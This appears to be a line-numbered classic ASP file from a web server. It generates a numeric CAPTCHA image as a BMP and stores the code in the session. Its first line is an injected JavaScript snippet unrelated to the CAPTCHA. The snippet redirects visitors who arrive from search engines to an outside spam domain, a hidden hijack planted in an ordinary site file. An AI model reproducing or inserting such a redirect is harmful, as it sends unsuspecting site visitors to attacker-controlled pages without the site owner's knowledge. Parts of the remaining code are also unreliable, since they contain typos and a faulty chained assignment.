d:\wwwroot\wuchunhua\GetCode.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
Const nMaxSaturation = 100 ' 最大色彩饱和度
003:
Const nBlankNoisyDotOdds = 0.2 ' 空白处噪点率
004:
Const nColorNoisyDotOdds = 0.1 ' 有色处噪点率
005:
Const nCharCount = 4 ' 产生的字符个数
006:
Const nPixelWidth = 20 ' 单个字符位图的宽度
007:
Const nPixelHeight = 20 ' 单个字符位图的高度
008:
Const nColorHue = 220 ' 显示验证码的色调(-1表示随机色调, -2表示灰度色调)
009:
Const nAngleRandom = 10 ' 角度随机量
010:
Const nLengthRandom = 10 ' 长度随机量(百分比)
011:
Const cCharSet = "0123456789"
012:
' 构成验证码的字符集
013:
' 如果扩充了下边的字母矢量库,则可以相应扩充这个字符集
014:
015:
Dim Buf(), DigtalStr
016:
Dim Lines(), LineCount
017:
Dim CursorX, CursorY, DirX, DirY
018:
019:
Randomize
020:
Call CreaalidCode("GetCode")
021:
022:
Sub CDGen_Reset()
023:
' 复位矢量笔和环境变量
024:
LineCount = 0
025:
CursorX = 0
026:
CursorY = 0
027:
' 初始的光笔方向是垂直向下
028:
DirX = 0
029:
DirY = 1
030:
End Sub
031:
032:
Sub CDGen_Clear()
033:
' 清空位图阵列
034:
Dim i, j
035:
ReDim Buf(nPixelHeight - 1, nCharCount * nPixelWidth - 1)
036:
037:
For j = 0 To nPixelHeight - 1
038:
For i = 0 To nCharCount * nPixelWidth - 1
039:
Buf(j, i) = 0
040:
Next
041:
Next
042:
End Sub
043:
044:
Sub CDGen_PSet(X, Y)
045:
' 在位图阵列上画点
046:
Buf(Y, X) = 1
047:
End Sub
048:
049:
Sub CDGen_Line(X1, Y1, X2, Y2)
050:
' 在位图阵列上画线
051:
Dim DX, DY, DeltaT, i
052:
053:
DX = X2 - X1
054:
DY = Y2 - Y1
055:
If Abs(DX) > Abs(DY) Then DeltaT = Abs(DX) Else DeltaT = Abs(DY)
056:
For i = 0 To DeltaT
057:
CDGen_PSet X1 + DX * i / DeltaT, Y1 + DY * i / DeltaT
058:
Next
059:
End Sub
060:
061:
Sub CDGen_FowardDraw(nLength)
062:
' 按当前光笔方向绘制指定长度并移动光笔,正数表示从左向右/从上向下绘制,负数表示从右向左/从下向上绘制
063:
nLength = Sgn(nLength) * Abs(nLength) * (1 - nLengthRandom / 100 + Rnd * nLenghtRandom * 2 / 100)
064:
ReDim Preserve Lines(3, LineCount)
065:
Lines(0, LineCount) = CursorX
066:
Lines(1, LineCount) = CursorY
067:
CursorX = CursorX + DirX * nLength
068:
CursorY = CursorY + DirY * nLength
069:
Lines(2, LineCount) = CursorX
070:
Lines(3, LineCount) = CursorY
071:
LineCount = LineCount + 1
072:
End Sub
073:
074:
Sub CDGen_SetDirection(nAngle)
075:
' 按指定角度设定画笔方向, 正数表示相对当前方向顺时针改变方向,负数表示相对当前方向逆时针改变方向
076:
Dim DX, DY
077:
078:
nAngle = Sgn(nAngle) * (Abs(nAngle) - nAngleRandom + Rnd * nAngleRandom * 2) / 180 * 3.1415926
079:
DX = DirX
080:
DY = DirY
081:
DirX = DX * Cos(nAngle) - DY * Sin(nAngle)
082:
DirY = DX * Sin(nAngle) + DY * Cos(nAngle)
083:
End Sub
084:
085:
Sub CDGen_MoveToMiddle(nActionIndex, nPercent)
086:
' 将画笔光标移动到指定动作的中间点上,nPercent为中间位置的百分比
087:
Dim DeltaX, DeltaY
088:
089:
DeltaX = Lines(2, nActionIndex) - Lines(0, nActionIndex)
090:
DeltaY = Lines(3, nActionIndex) - Lines(1, nActionIndex)
091:
CursorX = Lines(0, nActionIndex) + Sgn(DeltaX) * Abs(DeltaX) * nPercent / 100
092:
CursorY = Lines(1, nActionIndex) + Sgn(DeltaY) * Abs(DeltaY) * nPercent / 100
093:
End Sub
094:
095:
Sub CDGen_MoveCursor(nActionIndex)
096:
' 将画笔光标移动到指定动作的起始点上
097:
CursorX = Lines(0, nActionIndex)
098:
CursorY = Lines(1, nActionIndex)
099:
End Sub
100:
101:
Sub CDGen_Close(nActionIndex)
102:
' 将当前光笔位置与指定动作的起始点闭合并移动光笔
103:
ReDim Preserve Lines(3, LineCount)
104:
Lines(0, LineCount) = CursorX
105:
Lines(1, LineCount) = CursorY
106:
CursorX = Lines(0, nActionIndex)
107:
CursorY = Lines(1, nActionIndex)
108:
Lines(2, LineCount) = CursorX
109:
Lines(3, LineCount) = CursorY
110:
LineCount = LineCount + 1
111:
End Sub
112:
113:
Sub CDGen_CloseToMiddle(nActionIndex, nPercent)
114:
' 将当前光笔位置与指定动作的中间点闭合并移动光笔,nPercent为中间位置的百分比
115:
Dim DeltaX, DeltaY
116:
117:
ReDim Preserve Lines(3, LineCount)
118:
Lines(0, LineCount) = CursorX
119:
Lines(1, LineCount) = CursorY
120:
DeltaX = Lines(2, nActionIndex) - Lines(0, nActionIndex)
121:
DeltaY = Lines(3, nActionIndex) - Lines(1, nActionIndex)
122:
CursorX = Lines(0, nActionIndex) + Sgn(DeltaX) * Abs(DeltaX) * nPercent / 100
123:
CursorY = Lines(1, nActionIndex) + Sgn(DeltaY) * Abs(DeltaY) * nPercent / 100
124:
Lines(2, LineCount) = CursorX
125:
Lines(3, LineCount) = CursorY
126:
LineCount = LineCount + 1
127:
End Sub
128:
129:
Sub CDGen_Flush(X0, Y0)
130:
' 按照当前的画笔动作序列绘制位图点阵
131:
Dim MaxX, MinX, MaxY, MinY
132:
Dim DeltaX, DeltaY, StepX, StepY, OffsetX, OffsetY
133:
Dim i
134:
135:
MaxX = MinX = MaxY = MinY = 0
136:
For i = 0 To LineCount - 1
137:
If MaxX < Lines(0, i) Then MaxX = Lines(0, i)
138:
If MaxX < Lines(2, i) Then MaxX = Lines(2, i)
139:
If MinX > Lines(0, i) Then MinX = Lines(0, i)
140:
If MinX > Lines(2, i) Then MinX = Lines(2, i)
141:
If MaxY < Lines(1, i) Then MaxY = Lines(1, i)
142:
If MaxY < Lines(3, i) Then MaxY = Lines(3, i)
143:
If MinY > Lines(1, i) Then MinY = Lines(1, i)
144:
If MinY > Lines(3, i) Then MinY = Lines(3, i)
145:
Next
146:
DeltaX = MaxX - MinX
147:
DeltaY = MaxY - MinY
148:
If DeltaX = 0 Then DeltaX = 1
149:
If DeltaY = 0 Then DeltaY = 1
150:
MaxX = MinX
151:
MaxY = MinY
152:
If DeltaX > DeltaY Then
153:
StepX = (nPixelWidth - 2) / DeltaX
154:
StepY = (nPixelHeight - 2) / DeltaX
155:
OffsetX = 0
156:
OffsetY = (DeltaX - DeltaY) / 2
157:
Else
158:
StepX = (nPixelWidth - 2) / DeltaY
159:
StepY = (nPixelHeight - 2) / DeltaY
160:
OffsetX = (DeltaY - DeltaX) / 2
161:
OffsetY = 0
162:
End If
163:
For i = 0 To LineCount - 1
164:
Lines(0, i) = Round((Lines(0, i) - MaxX + OffsetX) * StepX, 0)
165:
If Lines(0, i) < 0 Then Lines(0, i) = 0
166:
If Lines(0, i) >= nPixelWidth - 2 Then Lines(0, i) = nPixelWidth - 3
167:
Lines(1, i) = Round((Lines(1, i) - MaxY + OffsetY) * StepY, 0)
168:
If Lines(1, i) < 0 Then Lines(1, i) = 0
169:
If Lines(1, i) >= nPixelHeight - 2 Then Lines(1, i) = nPixelHeight - 3
170:
Lines(2, i) = Round((Lines(2, i) - MinX + OffsetX) * StepX, 0)
171:
If Lines(2, i) < 0 Then Lines(2, i) = 0
172:
If Lines(2, i) >= nPixelWidth - 2 Then Lines(2, i) = nPixelWidth - 3
173:
Lines(3, i) = Round((Lines(3, i) - MinY + OffsetY) * StepY, 0)
174:
If Lines(3, i) < 0 Then Lines(3, i) = 0
175:
If Lines(3, i) >= nPixelHeight - 2 Then Lines(3, i) = nPixelHeight - 3
176:
CDGen_Line Lines(0, i) + X0 + 1, Lines(1, i) + Y0 + 1, Lines(2, i) + X0 + 1, Lines(3, i) + Y0 + 1
177:
Next
178:
End Sub
179:
180:
Sub CDGen_Char(cChar, X0, Y0)
181:
' 在指定坐标处生成指定字符的位图阵列
182:
CDGen_Reset
183:
Select Case cChar
184:
Case "0"
185:
CDGen_SetDirection -60 ' 逆时针60度(相对于垂直线)
186:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
187:
CDGen_SetDirection -60 ' 逆时针60度
188:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
189:
CDGen_SetDirection 120 ' 顺时针120度
190:
CDGen_FowardDraw 1.5 ' 绘制1.5个单位
191:
CDGen_SetDirection -60 ' 逆时针60度
192:
CDGen_FowardDraw 0.7 ' 绘制0.7个单位
193:
CDGen_SetDirection -60 ' 顺时针120度
194:
CDGen_FowardDraw 0.7 ' 绘制0.7个单位
195:
CDGen_Close 0 ' 封闭当前笔与第0笔(0开始)
196:
Case "1"
197:
CDGen_SetDirection -90 ' 逆时针90度(相对于垂直线)
198:
CDGen_FowardDraw 0.5 ' 绘制0.5个单位
199:
CDGen_MoveToMiddle 0, 50 ' 移动画笔的位置到第0笔(0开始)的50%处
200:
CDGen_SetDirection 90 ' 逆时针90度
201:
CDGen_FowardDraw -1.4 ' 反方向绘制1.4个单位
202:
CDGen_SetDirection 30 ' 逆时针30度
203:
CDGen_FowardDraw 0.4 ' 绘制0.4个单位
204:
Case "2"
205:
CDGen_SetDirection 45 ' 顺时针45度(相对于垂直线)
206:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
207:
CDGen_SetDirection -120 ' 逆时针120度
208:
CDGen_FowardDraw 0.4 ' 绘制0.4个单位
209:
CDGen_SetDirection 60 ' 顺时针60度
210:
CDGen_FowardDraw 0.6 ' 绘制0.6个单位
211:
CDGen_SetDirection 60 ' 顺时针60度
212:
CDGen_FowardDraw 1.6 ' 绘制1.6个单位
213:
CDGen_SetDirection -135 ' 逆时针135度
214:
CDGen_FowardDraw 1.0 ' 绘制1.0个单位
215:
Case "3"
216:
CDGen_SetDirection -90 ' 逆时针90度(相对于垂直线)
217:
CDGen_FowardDraw 0.8 ' 绘制0.8个单位
218:
CDGen_SetDirection 135 ' 顺时针135度
219:
CDGen_FowardDraw 0.8 ' 绘制0.8个单位
220:
CDGen_SetDirection -120 ' 逆时针120度
221:
CDGen_FowardDraw 0.6 ' 绘制0.6个单位
222:
CDGen_SetDirection 80 ' 顺时针80度
223:
CDGen_FowardDraw 0.5 ' 绘制0.5个单位
224:
CDGen_SetDirection 60 ' 顺时针60度
225:
CDGen_FowardDraw 0.5 ' 绘制0.5个单位
226:
CDGen_SetDirection 60 ' 顺时针60度
227:
CDGen_FowardDraw 0.5 ' 绘制0.5个单位
228:
Case "4"
229:
CDGen_SetDirection 20 ' 顺时针20度(相对于垂直线)
230:
CDGen_FowardDraw 0.8 ' 绘制0.8个单位
231:
CDGen_SetDirection -110 ' 逆时针110度
232:
CDGen_FowardDraw 1.2 ' 绘制1.2个单位
233:
CDGen_MoveToMiddle 1, 60 ' 移动画笔的位置到第1笔(0开始)的60%处
234:
CDGen_SetDirection 90 ' 顺时针90度
235:
CDGen_FowardDraw 0.7 ' 绘制0.7个单位
236:
CDGen_MoveCursor 2 ' 移动画笔到第2笔(0开始)的开始处
237:
CDGen_FowardDraw -1.5 ' 反方向绘制1.5个单位
238:
Case "5"
239:
CDGen_SetDirection 90 ' 顺时针90度(相对于垂直线)
240:
CDGen_FowardDraw 1.0 ' 绘制1.0个单位
241:
CDGen_SetDirection -90 ' 逆时针90度
242:
CDGen_FowardDraw 0.8 ' 绘制0.8个单位
243:
CDGen_SetDirection -90 ' 逆时针90度
244:
CDGen_FowardDraw 0.8 ' 绘制0.8个单位
245:
CDGen_SetDirection 30 ' 顺时针30度
246:
CDGen_FowardDraw 0.4 ' 绘制0.4个单位
247:
CDGen_SetDirection 60 ' 顺时针60度
248:
CDGen_FowardDraw 0.4 ' 绘制0.4个单位
249:
CDGen_SetDirection 30 ' 顺时针30度
250:
CDGen_FowardDraw 0.5 ' 绘制0.5个单位
251:
CDGen_SetDirection 60 ' 顺时针60度
252:
CDGen_FowardDraw 0.8 ' 绘制0.8个单位
253:
Case "6"
254:
CDGen_SetDirection -60 ' 逆时针60度(相对于垂直线)
255:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
256:
CDGen_SetDirection -60 ' 逆时针60度
257:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
258:
CDGen_SetDirection 120 ' 顺时针120度
259:
CDGen_FowardDraw 1.5 ' 绘制1.5个单位
260:
CDGen_SetDirection 120 ' 顺时针120度
261:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
262:
CDGen_SetDirection 120 ' 顺时针120度
263:
CDGen_FowardDraw 0.7 ' 绘制0.7个单位
264:
CDGen_SetDirection 120 ' 顺时针120度
265:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
266:
CDGen_SetDirection 120 ' 顺时针120度
267:
CDGen_FowardDraw 0.5 ' 绘制0.5个单位
268:
CDGen_CloseToMiddle 2, 50 ' 将当前画笔位置与第2笔(0开始)的50%处封闭
269:
Case "7"
270:
CDGen_SetDirection 180 ' 顺时针180度(相对于垂直线)
271:
CDGen_FowardDraw 0.3 ' 绘制0.3个单位
272:
CDGen_SetDirection 90 ' 顺时针90度
273:
CDGen_FowardDraw 0.9 ' 绘制0.9个单位
274:
CDGen_SetDirection 120 ' 顺时针120度
275:
CDGen_FowardDraw 1.3 ' 绘制1.3个单位
276:
Case "8"
277:
CDGen_SetDirection -60 ' 逆时针60度(相对于垂直线)
278:
CDGen_FowardDraw -0.8 ' 反方向绘制0.8个单位
279:
CDGen_SetDirection -60 ' 逆时针60度
280:
CDGen_FowardDraw -0.8 ' 反方向绘制0.8个单位
281:
CDGen_SetDirection 120 ' 顺时针120度
282:
CDGen_FowardDraw 0.8 ' 绘制0.8个单位
283:
CDGen_SetDirection 110 ' 顺时针110度
284:
CDGen_FowardDraw -1.5 ' 反方向绘制1.5个单位
285:
CDGen_SetDirection -110 ' 逆时针110度
286:
CDGen_FowardDraw 0.9 ' 绘制0.9个单位
287:
CDGen_SetDirection 60 ' 顺时针60度
288:
CDGen_FowardDraw 0.8 ' 绘制0.8个单位
289:
CDGen_SetDirection 60 ' 顺时针60度
290:
CDGen_FowardDraw 0.8 ' 绘制0.8个单位
291:
CDGen_SetDirection 60 ' 顺时针60度
292:
CDGen_FowardDraw 0.9 ' 绘制0.9个单位
293:
CDGen_SetDirection 70 ' 顺时针70度
294:
CDGen_FowardDraw 1.5 ' 绘制1.5个单位
295:
CDGen_Close 0 ' 封闭当前笔与第0笔(0开始)
296:
Case "9"
297:
CDGen_SetDirection 120 ' 逆时针60度(相对于垂直线)
298:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
299:
CDGen_SetDirection -60 ' 逆时针60度
300:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
301:
CDGen_SetDirection -60 ' 顺时针120度
302:
CDGen_FowardDraw -1.5 ' 绘制1.5个单位
303:
CDGen_SetDirection -60 ' 顺时针120度
304:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
305:
CDGen_SetDirection -60 ' 顺时针120度
306:
CDGen_FowardDraw -0.7 ' 绘制0.7个单位
307:
CDGen_SetDirection 120 ' 顺时针120度
308:
CDGen_FowardDraw 0.7 ' 反方向绘制0.7个单位
309:
CDGen_SetDirection -60 ' 顺时针120度
310:
CDGen_FowardDraw 0.5 ' 绘制0.5个单位
311:
CDGen_CloseToMiddle 2, 50 ' 将当前画笔位置与第2笔(0开始)的50%处封闭
312:
' 以下为字母的矢量动作,有兴趣的可以继续
313:
Case "A"
314:
CDGen_SetDirection -(Rnd * 20 + 150) ' 逆时针150-170度(相对于垂直线)
315:
CDGen_FowardDraw Rnd * 0.2 + 1.1 ' 绘制1.1-1.3个单位
316:
CDGen_SetDirection Rnd * 20 + 140 ' 顺时针140-160度
317:
CDGen_FowardDraw Rnd * 0.2 + 1.1 ' 绘制1.1-1.3个单位
318:
CDGen_MoveToMiddle 0, 30 ' 移动画笔的位置到第1笔(0开始)的30%处
319:
CDGen_CloseToMiddle 1, 70 ' 将当前画笔位置与第1笔(0开始)的70%处封闭
320:
Case "B"
321:
CDGen_SetDirection -(Rnd * 20 + 50) ' 逆时针50-70度(相对于垂直线)
322:
CDGen_FowardDraw Rnd * 0.4 + 0.8 ' 绘制0.8-1.2个单位
323:
CDGen_SetDirection Rnd * 20 + 110 ' 顺时针110-130度
324:
CDGen_FowardDraw Rnd * 0.2 + 0.6 ' 绘制0.6-0.8个单位
325:
CDGen_SetDirection -(Rnd * 20 + 110) ' 逆时针110-130度
326:
CDGen_FowardDraw Rnd * 0.2 + 0.6 ' 绘制0.6-0.8个单位
327:
CDGen_SetDirection Rnd * 20 + 110 ' 顺时针110-130度
328:
CDGen_FowardDraw Rnd * 0.4 + 0.8 ' 绘制0.8-1.2个单位
329:
CDGen_Close 0 ' 封闭当前笔与第1笔(0开始)
330:
Case "C"
331:
CDGen_SetDirection -60 ' 逆时针60度(相对于垂直线)
332:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
333:
CDGen_SetDirection -60 ' 逆时针60度
334:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
335:
CDGen_SetDirection 120 ' 顺时针120度
336:
CDGen_FowardDraw 1.5 ' 绘制1.5个单位
337:
CDGen_SetDirection 120 ' 顺时针120度
338:
CDGen_FowardDraw -0.7 ' 反方向绘制0.7个单位
339:
CDGen_SetDirection 120 ' 顺时针120度
340:
CDGen_FowardDraw 0.7 ' 绘制0.7个单位
341:
End Select
342:
CDGen_Flush X0, Y0
343:
End Sub
344:
345:
Sub CDGen_Blur()
346:
' 对产生的位图进行柔化处理
347:
Dim i, j
348:
349:
For j = 1 To nPixelHeight - 2
350:
For i = 1 To nCharCount * nPixelWidth - 2
351:
If Buf(j, i) = 0 Then
352:
If ((Buf(j, i - 1) Or Buf(j + 1, i)) And 1) <> 0 Then
353:
' 如果当前点是空白点,且上下左右四个点中有一个点是有色点,则该点做柔化处理
354:
Buf(j, i) = 2
355:
End If
356:
End If
357:
Next
358:
Next
359:
End Sub
360:
361:
Sub CDGen_NoisyDot()
362:
' 对产生的位图进行噪点处理
363:
Dim i, j, NoisyDot, CurDot
364:
365:
For j = 0 To nPixelHeight - 1
366:
For i = 0 To nCharCount * nPixelWidth - 1
367:
If Buf(j, i) <> 0 Then
368:
NoisyDot = Int(Rnd * Rnd * nMaxSaturation)
369:
Select Case nColorNoisyDotOdds
370:
Case 0
371:
CurDot = nMaxSaturation
372:
Case 1
373:
CurDot = 0
374:
Case Else
375:
CurDot = NoisyDot
376:
End Select
377:
If Rnd < nColorNoisyDotOdds Then Buf(j, i) = CurDot Else Buf(j, i) = nMaxSaturation
378:
Else
379:
NoisyDot = Int(Rnd * nMaxSaturation)
380:
Select Case nBlankNoisyDotOdds
381:
Case 0
382:
CurDot = 0
383:
Case 1
384:
CurDot = nMaxSaturation
385:
Case Else
386:
CurDot = NoisyDot
387:
End Select
388:
If Rnd < nBlankNoisyDotOdds Then Buf(j, i) = CurDot Else Buf(j, i) = 0
389:
End If
390:
Next
391:
Next
392:
End Sub
393:
394:
Sub CDGen()
395:
' 生成位图阵列
396:
Dim i, Ch
397:
398:
DigtalStr = ""
399:
CDGen_Clear
400:
For i = 0 To nCharCount - 1
401:
Ch = Mid(cCharSet, Int(Rnd * Len(cCharSet)) + 1, 1)
402:
DigtalStr = DigtalStr + Ch
403:
CDGen_Char Ch, i * nPixelWidth, 0
404:
Next
405:
CDGen_Blur
406:
CDGen_NoisyDot
407:
End Sub
408:
409:
Function HSBToRGB(vH, vS, vB)
410:
' 将颜色值由HSB转换为RGB
411:
Dim aRGB(3), RGB1st, RGB2nd, RGB3rd
412:
Dim nH, nS, nB
413:
Dim lH, nF, nP, nQ, nT
414:
415:
vH = (vH Mod 360)
416:
If vS > 100 Then
417:
vS = 100
418:
ElseIf vS < 0 Then
419:
vS = 0
420:
End If
421:
If vB > 100 Then
422:
vB = 100
423:
ElseIf vB < 0 Then
424:
vB = 0
425:
End If
426:
If vS > 0 Then
427:
nH = vH / 60
428:
nS = vS / 100
429:
nB = vB / 100
430:
lH = Int(nH)
431:
nF = nH - lH
432:
nP = nB * (1 - nS)
433:
nQ = nB * (1 - nS * nF)
434:
nT = nB * (1 - nS * (1 - nF))
435:
Select Case lH
436:
Case 0
437:
aRGB(0) = nB * 255
438:
aRGB(1) = nT * 255
439:
aRGB(2) = nP * 255
440:
Case 1
441:
aRGB(0) = nQ * 255
442:
aRGB(1) = nB * 255
443:
aRGB(2) = nP * 255
444:
Case 2
445:
aRGB(0) = nP * 255
446:
aRGB(1) = nB * 255
447:
aRGB(2) = nT * 255
448:
Case 3
449:
aRGB(0) = nP * 255
450:
aRGB(1) = nQ * 255
451:
aRGB(2) = nB * 255
452:
Case 4
453:
aRGB(0) = nT * 255
454:
aRGB(1) = nP * 255
455:
aRGB(2) = nB * 255
456:
Case 5
457:
aRGB(0) = nB * 255
458:
aRGB(1) = nP * 255
459:
aRGB(2) = nQ * 255
460:
End Select
461:
Else
462:
aRGB(0) = (vB * 255) / 100
463:
aRGB(1) = aRGB(0)
464:
aRGB(2) = aRGB(0)
465:
End If
466:
HSBToRGB = ChrB(Round(aRGB(2), 0)) & ChrB(Round(aRGB(1), 0)) & ChrB(Round(aRGB(0), 0))
467:
End Function
468:
469:
Sub CreaalidCode(pSN)
470:
Dim i, j, CurColorHue
471:
472:
' 禁止缓存
473:
Response.Expires = -9999
474:
Response.AddHeader "pragma", "no-cache"
475:
Response.AddHeader "cache-ctrol", "no-cache"
476:
Response.ContentType = "image/bmp"
477:
478:
Call CDGen
479:
Session(pSN) = DigtalStr '记录入Session
480:
481:
Dim PicWidth, PicHeight, FileSize, PicDataSize
482:
PicWidth = nCharCount * nPixelWidth
483:
PicHeight = nPixelHeight
484:
PicDataSize = PicWidth * PicHeight * 3
485:
FileSize = PicDataSize + 54
486:
487:
' 输出BMP文件信息头
488:
Response.BinaryWrite ChrB(66) & ChrB(77) & _
489:
ChrB(FileSize Mod 256) & ChrB((FileSize \ 256) Mod 256) & ChrB((FileSize \ 256 \ 256) Mod 256) & ChrB(FileSize \ 256 \ 256 \ 256) & _
490:
ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & _
491:
ChrB(54) & ChrB(0) & ChrB(0) & ChrB(0)
492:
493:
' 输出BMP位图信息头
494:
Response.BinaryWrite ChrB(40) & ChrB(0) & ChrB(0) & ChrB(0) & _
495:
ChrB(PicWidth Mod 256) & ChrB((PicWidth \ 256) Mod 256) & ChrB((PicWidth \ 256 \ 256) Mod 256) & ChrB(PicWidth \ 256 \ 256 \ 256) & _
496:
ChrB(PicHeight Mod 256) & ChrB((PicHeight \ 256) Mod 256) & ChrB((PicHeight \ 256 \ 256) Mod 256) & ChrB(PicHeight \ 256 \ 256 \ 256) & _
497:
ChrB(1) & ChrB(0) & _
498:
ChrB(24) & ChrB(0) & _
499:
ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & _
500:
ChrB(PicDataSize Mod 256) & ChrB((PicDataSize \ 256) Mod 256) & ChrB((PicDataSize \ 256 \ 256) Mod 256) & ChrB(PicDataSize \ 256 \ 256 \ 256) & _
501:
ChrB(18) & ChrB(11) & ChrB(0) & ChrB(0) & _
502:
ChrB(18) & ChrB(11) & ChrB(0) & ChrB(0) & _
503:
ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & _
504:
ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0)
505:
506:
' 逐点输出位图阵列
507:
If nColorHue = -1 Then
508:
CurColorHue = Int(Rnd * 360)
509:
ElseIf nColorHue = -2 Then
510:
CurColorHue = 0
511:
Else
512:
CurColorHue = nColorHue
513:
End If
514:
For j = 0 To nPixelHeight - 1
515:
For i = 0 To Len(DigtalStr) * nPixelWidth - 1
516:
If nColorHue = -2 Then
517:
Response.BinaryWrite HSBToRGB(CurColorHue, 0, 100 - Buf(nPixelHeight - 1 - j, i))
518:
Else
519:
Response.BinaryWrite HSBToRGB(CurColorHue, Buf(nPixelHeight - 1 - j, i), 100)
520:
End If
521:
Next
522:
Next
523:
End Sub
524:
%
>
525:
526:
527: